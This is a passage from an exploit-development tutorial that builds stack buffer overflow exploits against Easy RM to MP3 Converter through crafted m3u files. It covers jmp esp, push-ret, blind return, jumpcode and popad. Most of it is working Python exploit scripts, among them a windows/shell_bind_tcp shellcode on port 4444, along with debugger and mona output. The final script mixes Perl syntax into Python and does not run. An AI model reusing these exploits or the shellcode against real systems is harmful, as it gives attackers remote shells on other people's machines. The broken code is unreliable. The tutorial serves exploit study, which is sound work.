1 : EIP is overwritten with POP POP RET (again, this example has nothing to do with SEH based exploits. We just want to get a value that is on the stack into EIP). ESP points to begin of 8byte offset from shellcode
2 : POP POP RET is executed. EIP gets overwritten with 0x01AAF23A (because that is the address that was found at ESP+0x8). ESP now points to shellcode.
3 : Since EIP is overwritten with address to jmp esp, the second jump is executed and the shellcode is launched. ----------------------------------
| |(1)
| |
| ESP points here (1) |
| | V
[AAAAAAAAAAA...AA][0x01886a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01AAF23A][Shellcode]
26074 A's EIP 8 bytes offset JMP ESP ^
(=POPPOPRET) | | (2)
|------|
ESP now points here (2)
We’ll simulate this with a break and some NOP’s as shellcode, so we can see if our jumps work fine.#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct
# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074 # A
eip = struct.pack('L', 0x01886a10)
jmpesp = struct.pack('L', 0x01AAF23A)
pre = '\x58' * 4 # X
shellcode = "\x90" * 8
shellcode = shellcode + jmpesp
shellcode = shellcode + '\xcc'
shellcode = shellcode + '\x90' * 500
with open(media_file, 'w') as f:
f.write(junk)
f.write(eip)
f.write(pre)
f.write(shellcode)
print "m3u file created successfully !"
registers and stack information as follow:-------- Registers Information --------
EAX 90909090
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF73C
EBP 90909090
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000067E3
EIP 000FF73D
-------- Stack Information ------------
000FF71C 41414141 AAAA
000FF720 41414141 AAAA
000FF724 41414141 AAAA
000FF728 01886A10 j▒ MSRMCcod.01886A10
000FF72C 58585858 XXXX
000FF730 90909090 ▒▒▒▒
000FF734 90909090 ▒▒▒▒
000FF738 01AAF23A :▒ MSRMCc_2.01AAF23A
000FF73C 909090CC ̐▒▒
000FF740 90909090 ▒▒▒▒
000FF744 90909090 ▒▒▒▒
000FF748 90909090 ▒▒▒▒
000FF74C 90909090 ▒▒▒▒
000FF750 90909090 ▒▒▒▒
Cool. that worked. Now let’s replace the NOPs after jmp esp (ESP+8) with real shellcode (some nops to be sure + shellcode, encoded with alpha_upper) (execute calc):#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct
# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074 # A
eip = struct.pack('L', 0x01886a10)
jmpesp = struct.pack('L', 0x01AAF23A)
pre = '\x58' * 4 # X
shellcode = "\x90" * 8
shellcode = shellcode + jmpesp
shellcode = shellcode + '\x90' * 50
# windows/shell_bind_tcp
# port: 4444
shellcode = shellcode + "\xba\x78\xfe\x28\x18\xd9\xcc\xd9\x74\x24\xf4\x5f\x31\xc9\xb1" \
"\x53\x31\x57\x12\x03\x57\x12\x83\x97\x02\xca\xed\x9b\x13\x89" \
"\x0e\x63\xe4\xee\x87\x86\xd5\x2e\xf3\xc3\x46\x9f\x77\x81\x6a" \
"\x54\xd5\x31\xf8\x18\xf2\x36\x49\x96\x24\x79\x4a\x8b\x15\x18" \
"\xc8\xd6\x49\xfa\xf1\x18\x9c\xfb\x36\x44\x6d\xa9\xef\x02\xc0" \
"\x5d\x9b\x5f\xd9\xd6\xd7\x4e\x59\x0b\xaf\x71\x48\x9a\xbb\x2b" \
"\x4a\x1d\x6f\x40\xc3\x05\x6c\x6d\x9d\xbe\x46\x19\x1c\x16\x97" \
"\xe2\xb3\x57\x17\x11\xcd\x90\x90\xca\xb8\xe8\xe2\x77\xbb\x2f" \
"\x98\xa3\x4e\xab\x3a\x27\xe8\x17\xba\xe4\x6f\xdc\xb0\x41\xfb" \
"\xba\xd4\x54\x28\xb1\xe1\xdd\xcf\x15\x60\xa5\xeb\xb1\x28\x7d" \
"\x95\xe0\x94\xd0\xaa\xf2\x76\x8c\x0e\x79\x9a\xd9\x22\x20\xf3" \
"\x2e\x0f\xda\x03\x39\x18\xa9\x31\xe6\xb2\x25\x7a\x6f\x1d\xb2" \
"\x7d\x5a\xd9\x2c\x80\x65\x1a\x65\x47\x31\x4a\x1d\x6e\x3a\x01" \
"\xdd\x8f\xef\xbc\xd5\x36\x40\xa3\x18\x88\x30\x63\xb2\x61\x5b" \
"\x6c\xed\x92\x64\xa6\x86\x3b\x99\x49\xb9\xe7\x14\xaf\xd3\x07" \
"\x71\x67\x4b\xea\xa6\xb0\xec\x15\x8d\xe8\x9a\x5e\xc7\x2f\xa5" \
"\x5e\xcd\x07\x31\xd5\x02\x9c\x20\xea\x0e\xb4\x35\x7d\xc4\x55" \
"\x74\x1f\xd9\x7f\xee\xbc\x48\xe4\xee\xcb\x70\xb3\xb9\x9c\x47" \
"\xca\x2f\x31\xf1\x64\x4d\xc8\x67\x4e\xd5\x17\x54\x51\xd4\xda" \
"\xe0\x75\xc6\x22\xe8\x31\xb2\xfa\xbf\xef\x6c\xbd\x69\x5e\xc6" \
"\x17\xc5\x08\x8e\xee\x25\x8b\xc8\xee\x63\x7d\x34\x5e\xda\x38" \
"\x4b\x6f\x8a\xcc\x34\x8d\x2a\x32\xef\x15\x5a\x79\xad\x3c\xf3" \
"\x24\x24\x7d\x9e\xd6\x93\x42\xa7\x54\x11\x3b\x5c\x44\x50\x3e" \
"\x18\xc2\x89\x32\x31\xa7\xad\xe1\x32\xe2"
with open(media_file, 'w') as f:
f.write(junk)
f.write(eip)
f.write(pre)
f.write(shellcode)
print "m3u file created successfully !"
Bingo ! The Application (Easy RM to MP3 Converter v2.7.3.700) is pwned !.psh return
push ret is somewhat similar to call [register]. If one of the registers is directly pointing at your shellcode, and if for some reason you cannot use a jmp [reg] to jump to the shellcode, then you could- put the address of that register on the stack. It will sit on top of the stack.
- ret (which will take that address back from the stack and jump to it.)
In order to make this work, you need to overwrite EIP with the address of a push [reg] + ret sequence in one of the dll's.
Suppose the shellcode is located directly at ESP. You need to find the opcode for "push esp" and the opcode for 'ret' first.
We can search "PUSH ESP" and "RET" in MSRMCcodec00.dll.
0BADF00D [+] Command used:
0BADF00D !mona find -s "PUSH ESP#RET" -type instr -b 0x01860000 -t 0x018d1000
---------- Mona command started on 2015-03-01 05:25:28 (v2.0, rev 554) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : *
0BADF00D - Treating search pattern as instr
0BADF00D [+] Searching from 0x01860000 to 0x018d1000
0BADF00D [+] Preparing output file 'find.txt'
0BADF00D - (Re)setting logfile C:\logs\RM2MP3Converter\find.txt
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Writing results to C:\logs\RM2MP3Converter\find.txt
0BADF00D - Number of pointers of type '"PUSH ESP#RET"' : 1
0BADF00D [+] Results :
018757F6 0x018757f6 (b+0x000157f6) : "PUSH ESP#RET" | {PAGE_EXECUTE} [MSRMCcodec00.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll)
0BADF00D Found a total of 1 pointers
0BADF00D
Craft your exploit and run:#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct
# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074 # A
eip = struct.pack('L', 0x018757f6)
shellcode = '\x90' * 4
shellcode = shellcode + "\xba\x78\xfe\x28\x18\xd9\xcc\xd9\x74\x24\xf4\x5f\x31\xc9\xb1" \
"\x53\x31\x57\x12\x03\x57\x12\x83\x97\x02\xca\xed\x9b\x13\x89" \
"\x0e\x63\xe4\xee\x87\x86\xd5\x2e\xf3\xc3\x46\x9f\x77\x81\x6a" \
"\x54\xd5\x31\xf8\x18\xf2\x36\x49\x96\x24\x79\x4a\x8b\x15\x18" \
"\xc8\xd6\x49\xfa\xf1\x18\x9c\xfb\x36\x44\x6d\xa9\xef\x02\xc0" \
"\x5d\x9b\x5f\xd9\xd6\xd7\x4e\x59\x0b\xaf\x71\x48\x9a\xbb\x2b" \
"\x4a\x1d\x6f\x40\xc3\x05\x6c\x6d\x9d\xbe\x46\x19\x1c\x16\x97" \
"\xe2\xb3\x57\x17\x11\xcd\x90\x90\xca\xb8\xe8\xe2\x77\xbb\x2f" \
"\x98\xa3\x4e\xab\x3a\x27\xe8\x17\xba\xe4\x6f\xdc\xb0\x41\xfb" \
"\xba\xd4\x54\x28\xb1\xe1\xdd\xcf\x15\x60\xa5\xeb\xb1\x28\x7d" \
"\x95\xe0\x94\xd0\xaa\xf2\x76\x8c\x0e\x79\x9a\xd9\x22\x20\xf3" \
"\x2e\x0f\xda\x03\x39\x18\xa9\x31\xe6\xb2\x25\x7a\x6f\x1d\xb2" \
"\x7d\x5a\xd9\x2c\x80\x65\x1a\x65\x47\x31\x4a\x1d\x6e\x3a\x01" \
"\xdd\x8f\xef\xbc\xd5\x36\x40\xa3\x18\x88\x30\x63\xb2\x61\x5b" \
"\x6c\xed\x92\x64\xa6\x86\x3b\x99\x49\xb9\xe7\x14\xaf\xd3\x07" \
"\x71\x67\x4b\xea\xa6\xb0\xec\x15\x8d\xe8\x9a\x5e\xc7\x2f\xa5" \
"\x5e\xcd\x07\x31\xd5\x02\x9c\x20\xea\x0e\xb4\x35\x7d\xc4\x55" \
"\x74\x1f\xd9\x7f\xee\xbc\x48\xe4\xee\xcb\x70\xb3\xb9\x9c\x47" \
"\xca\x2f\x31\xf1\x64\x4d\xc8\x67\x4e\xd5\x17\x54\x51\xd4\xda" \
"\xe0\x75\xc6\x22\xe8\x31\xb2\xfa\xbf\xef\x6c\xbd\x69\x5e\xc6" \
"\x17\xc5\x08\x8e\xee\x25\x8b\xc8\xee\x63\x7d\x34\x5e\xda\x38" \
"\x4b\x6f\x8a\xcc\x34\x8d\x2a\x32\xef\x15\x5a\x79\xad\x3c\xf3" \
"\x24\x24\x7d\x9e\xd6\x93\x42\xa7\x54\x11\x3b\x5c\x44\x50\x3e" \
"\x18\xc2\x89\x32\x31\xa7\xad\xe1\x32\xe2"
with open(media_file, 'w') as f:
f.write(junk)
f.write(eip)
f.write(shellcode)
print "m3u file created successfully !"
Bingo ! The Application (Easy RM to MP3 Converter v2.7.3.700) is pwned !.JMP [register]+[offset]
Another technique to overcome the problem that the shellcode begins at an offset of a register (ESP in our example) is by trying to find a jmp [reg+offset] instruction (and overwritten EIP with the address of that instruction). Let's assume that we need to jump 8 bytes again (see previous exercise). Using the jmp reg+offset technique, we would simple jump over the 8 bytes at the beginning of ESP and land directly at our shellcode.We need to do 3 things: - find the opcode for jmp esp+8h - find an address that points to this instruction - craft the exploit so it overwrites EIP with the address
Finding the opcode, use Immunity Debugger.
0BADF00D [+] Command used:
0BADF00D !mona find -s "JMP [ESP+8]" -type instr
---------- Mona command started on 2015-03-01 06:00:07 (v2.0, rev 554) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : *
0BADF00D - Treating search pattern as instr
0BADF00D [+] Searching from 0x00000000 to 0x7fffffff
76FC0000 Modules C:\WINDOWS\system32\rasadhlp.dll
0BADF00D [+] Preparing output file 'find.txt'
0BADF00D - (Re)setting logfile C:\logs\RM2MP3Converter\find.txt
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D Found a total of 0 pointers
0BADF00D
Now you can search for a dll that has this opcode, and use the address to overwrite EIP with. In our example, I could not find this exact opcode anywhere. Of course, you are not limited to lookinf for jmp [esp+8] ... you could also look for values bigger than 8 (because you control anything abobe 8... you could easily put some additional NOP's at the beginning of the shellcode and make the jump into the nop's).(by the way: Opcode for ret is c3. But I’m sure you’ve already figured that our for yourself).
Blind return
This technique is based on the following 2 steps:- Overwrite EIP with an address pointing to a ret instruction
- Hardcode the address of the shellcode at the first 4 bytes of ESP
- When the ret is execute, the last added 4 bytes (topmost value) are popped from the stack and will be put in EIP
- Exploit jumps to shellcode
So this technique is useful if
- you cannot point EIP to go a register directly (because you cannot use jmp or call instructions). This means that you need to hardcode the memory address of the start of the shellcode,
- you can control the data at ESP (at least the first 4 bytes)
Find the address of a 'ret' instruction in one of the dll’s.
Set the first 4 bytes of the shellcode (first 4 bytes of ESP) to the address where the shellcode begins, and overwrite EIP with the address of the 'ret' instruction. From the tests we have done in the first part of this tutorial, we remember that ESP seems to start at 0x000ff730. Of course this address could change on different systems, but if you have no other way than hardcoding addresses, then this is the only thing you can do.
This address contains null byte, so when building the payload, we create a buffer that looks like this :
[26074 A’s][address of ret][0x000fff730][shellcode]
The problem with this example is that the address used to overwrite EIP contains a null byte. (= string terminator), so the shellcode is not put in ESP. This is a problem, but it may not be a showstopper. Sometimes you can find your buffer (look at the first 26074 A’s, not at the ones that are pushed after overwriting EIP, because they will be unusable because of null byte) back at other locations/registers, such as eax, ebx, ecx, etc… In that case, you could try to put the address of that register as the first 4 bytes of the shellcode (at the beginning of ESP, so directly after overwriting EIP), and still overwrite EIP with the address of a ‘ret’ instruction.This is a technique that has a lot of requirements and drawbacks, but it only requires a "ret" instruction… Anyways, it didn’t really work for Easy RM to MP3.
Dealing with small buffers: jumping anywhere with custom jumpcode
We have talked about various ways to make EIP jump to our shellcode. In all scenario’s, we have had the luxury to be able to put this shellcode in one piece in the buffer. But what if we see that we don’t have enough space to host the entire shellcode ?In our exercise, we have been using 26074 bytes before overwriting EIP, and we have noticed that ESP points to 26074+4 bytes, and that we have plenty of space from that point forward. But what if we only had 50 bytes (ESP -> ESP+50 bytes). What if our tests showed that everything that was written after those 50 bytes were not usable ? 50 bytes for hosting shellcode is not a lot. So we need to find a way around that. So perhaps we can use the 26074 bytes that were used to trigger the actual overflow.
First, we need to find these 26074 bytes somewhere in memory. If we cannot find them anywhere, it's going to be difficult to reference them. In fact, if we can find these bytes and find out that we have another register pointing (or almost pointing) at these bytes, it may even be quite easy to put shellcode in there.
If you run some basic tests against Easy RM to MP3, you will notice that parts of the 26074 bytes are also visible in the ESP dump:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
media_file = "crash.m3u"
junk = "\x41" * 26074 # A
eip = '\x42' * 4
preshellcode = '\x56' * 54 # let's pretend this is the only space we have available.
nop = "\x90" * 230
with open(media_file, 'w') as f:
f.write(junk)
f.write(eip)
f.write(preshellcode)
f.write(nop)
print "m3u file created successfully !"
After opening the crash.m3u, we get this:-------- Registers Information --------
EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000066FA
EIP 42424242
-------- Stack Data --------
000FF710 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000FF720 41 41 41 41 41 41 41 41 42 42 42 42 56 56 56 56 AAAAAAAABBBBVVVV
000FF730 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 VVVVVVVVVVVVVVVV
000FF740 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 VVVVVVVVVVVVVVVV
000FF750 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 VVVVVVVVVVVVVVVV
000FF760 56 56 90 90 90 90 90 90 90 90 90 90 90 90 90 90 VV▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF840 90 90 90 90 90 90 90 90 00 41 41 41 41 41 41 41 ▒▒▒▒▒▒▒▒.AAAAAAA
000FF850 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000FF860 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000FF870 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000FF880 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
We can see out 50 V's at ESP. Let's pretend this is the only space available for shellcode (we think). However, when we look further down the stack, we can find back A's starting address 0x00FF849 (=ESP+281)When we look at other registers, there’s no trace of X’s or A’s. (You can just dump the registers, or look for a number of A’s in memory.
So this is it, We can jump to ESP to execute some code, but we only have 50 bytes to spend on shellcode. We also see other parts of our buffer at a lower position in the stack... in fact, when we continue to dump the contents of ESP, we have a huge buffer filled with A's...
Luckily there is a way to host the shellcode in the A’s and use the V’s to jump to the A’s. In order to make this happen, we need a couple of things:
- The position inside the buffer with 26074 A's that is now part of ESP, at 0x000FF849 (Where do the A's shown in ESO really start?)(so if we want to put our shellcode inside the A’s, we need to know where exactly it needs to be put)
- "Jumpcode" : code that will make the jump from the V’s to the A’s. This code cannot be larger than 50 bytes (because that’s all we have available directly at ESP)
We’ll use one of metasploit’s patterns… we’ll start with a small one (so if we are looking at the start of the A’s, then we would not have to work with large amount of character patterns :-) )
Generate a pattern of let's say 1000 characters, and replace the first 1000 characters in the python script with the pattern (and then add 25074 A's).
#!/usr/bin/env python
# -*- coding: utf-8 -*-
media_file = "crash.m3u"
# 1000 bytes
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
junk = pattern + "\x41" * 25074 # A
eip = '\x42' * 4
preshellcode = '\x56' * 54 # let's pretend this is the only space we have available.
nop = "\x90" * 230
with open(media_file, 'w') as f:
f.write(junk)
f.write(eip)
f.write(preshellcode)
f.write(nop)
print "m3u file created successfully !"
We can get this.-------- Stack Information --------
EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000066FA
EIP 42424242
-------- Hex Dump --------
000FF710 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000FF720 41 41 41 41 41 41 41 41 42 42 42 42 56 56 56 56 AAAAAAAABBBBVVVV
000FF730 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 VVVVVVVVVVVVVVVV
000FF740 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 VVVVVVVVVVVVVVVV
000FF750 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 VVVVVVVVVVVVVVVV
000FF760 56 56 90 90 90 90 90 90 90 90 90 90 90 90 90 90 VV▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF7F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
000FF840 90 90 90 90 90 90 90 90 00 35 41 69 36 41 69 37 ▒▒▒▒▒▒▒▒.5Ai6Ai7
000FF850 41 69 38 41 69 39 41 6A 30 41 6A 31 41 6A 32 41 Ai8Ai9Aj0Aj1Aj2A
000FF860 6A 33 41 6A 34 41 6A 35 41 6A 36 41 6A 37 41 6A j3Aj4Aj5Aj6Aj7Aj
000FF870 38 41 6A 39 41 6B 30 41 6B 31 41 6B 32 41 6B 33 8Aj9Ak0Ak1Ak2Ak3
000FF880 41 6B 34 41 6B 35 41 6B 36 41 6B 37 41 6B 38 41 Ak4Ak5Ak6Ak7Ak8A
000FF890 6B 39 41 6C 30 41 6C 31 41 6C 32 41 6C 33 41 6C k9Al0Al1Al2Al3Al
What we see at 0x000FF849 is definitely part of the pattern. The first 4 characters are 5Ai6.Using metasploit pattern_offset utility, we see that these 4 characters are at offset 257.
[nixawk@core tools]$ ./pattern_offset.rb 5Ai6 1000
[*] Exact match at offset 257
So instead of putting 26074 A’s in the file, we’ll put 257 A’s, then our shellcode, and fill up the rest of the 26074 characters with A’s again. Or even better, we’ll start with only 250 A’s, then 50 NOP’s, then our shellcode, and then fill up the rest with A’s. That way, we don’t have to be very specific when jumping… If we can land in the NOP’s before the shellcode, it will work just fine.The second thing we need to do is build our jumpcode that needs to be placed at ESP. The goal of the jumpcode is to jump to ESP+281.
Writing jump code is as easy as writing down the required statements in assembly and then translating them to opcode (making sure that we don’t have any null bytes or other restricted characters at the same time) :-)
Jumping to ESP+281 would require : Add 281 to the ESP register, and then perform jump esp. 281 = 119h. Don’t try to add everything in one shot, or you may end up with opcode that contains null bytes.
Since we have some flexibility (due to the NOP’s before our shellcode), we don’t have to be very precise either. As long as we add 281 (or more), it will work. We have 50 bytes for our jumpcode, but that should not be a problem.
Let’s add 0x5e (94) to esp, 3 times. Then do the jump to esp. The assembly commands are :
add esp,0x5e
add esp,0x5e
add esp,0x5e
jmp esp
Using windbg, we can get the opcode:0:000> a
7c90120e add esp,0x5e
add esp,0x5e
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
7c901211 add esp,0x5e
add esp,0x5e
7c901214 add esp,0x5e
add esp,0x5e
7c901217 add esp,0x5e
add esp,0x5e
7c90121a add esp,0x5e
add esp,0x5e
7c90121d
0:000>
7c90121d
0:000> u 7c901211
ntdll!DbgBreakPoint+0x3:
7c901211 83c45e add esp,5Eh
7c901214 83c45e add esp,5Eh
7c901217 83c45e add esp,5Eh
ntdll!RtlpBreakWithStatusInstruction:
7c90121a 83c45e add esp,5Eh
7c90121d 0064a118 add byte ptr [ecx+18h],ah
7c901221 0000 add byte ptr [eax],al
7c901223 00c3 add bl,al
ntdll!RtlInitString:
7c901225 57 push edi
Ok, so the opcode for he entire jumpcode is 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4.#!/usr/bin/env python
# -*- coding: utf-8 -*-
media_file = "crash.m3u"
# --------Limit Stack Structure ----------
# [ Buffer before EIP ] <--------|
# [ EIP ] |
# [ preshellcode ] -------------|
# [ nop ]
# ----------------------------------------
#
# | ==============>> Buffer Size (26074) << ================
# ----------------------------------------------------------
# | junk (256 bytes) | shellcode | restofbuffer .... | <---- [ Buffer before EIP ]
# ----------------------------------------------------------
# 256 bytes |
# |
# Offset: 257
#
buffersize = 26074
shellcode_offset = 257
junk = "\x41" * (shellcode_offset - 1)
shellcode = "\x90" * 50
restofbuffer = "\x41" * (buffersize - (len(junk) + len(shellcode)))
eip = '\x42' * 4
preshellcode = '\x56' * 4 # let's pretend this is the only space we have available.
jumpcode = '\x83\xc4\x5e' \
'\x83\xc4\x5e' \
'\x83\xc4\x5e' \
'\xff\xe4'
buffer = junk + shellcode + restofbuffer
with open(media_file, 'w') as f:
f.write(junk)
f.write(shellcode)
f.write(restofbuffer)
f.write(eip)
f.write(preshellcode)
f.write(jumpcode)
print "m3u file created successfully !"
The jumpcode is perfectly ar ESP, when the shellcode is called ESP would point into the NOP'sSome other ways to jump
- popad
- hardcode address to jump to
the "popap" instruction may help us "jumping" to our shellcode as well. popad (pop all double) will pop double words from the stack (ESP) into the general-purpose registers, in one action. The registers are loaded in the following order: EDI, ESI, EBP, EBX, EDX, ECX, EAX. As a result, the ESP register is incremented after each register is loaded (triggered by the popad). One popad will thus take 32 bytes from ESP and pops them in the registers in an orderly fashion.
The popad opcode is 0x61.
So suppose you need to jump 40 bytes, and you only have a couple of bytes to make the jump, you can issue 2 popad’s to point ESP to the shellcode (which starts with NOPs to make up for the (2 times 32 bytes – 40 bytes of space that we need to jump over))
Let’s use the Easy RM to MP3 vulnerability again to demonstrate this technique :
media_file= "crash.m3u"
buffersize = 26094
junk= "A" x 250
nop = "\x90" x 50
shellcode = "\xcc"
restofbuffer = "A" x (buffersize-(len(junk)+len(nop)+len(shellcode)));
eip = "BBBB";
preshellcode = "X" x 17; #let's pretend this is the only space we have available
garbage = "\x44" x 100; #let's pretend this is the space we need to jump over
buffer = junk + nop+ shellcode + restofbuffer
print "Size of buffer : %d\n" % len(buffer)
with open(media_file, 'w') as file:
f.write(buffer)
f.write(eip)
f.write(preshellcode)
f.write(garbage)
print "m3u File Created successfully\n"
After opening the file in Easy RM to MP3, the application dies, and ESP looks like this :First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
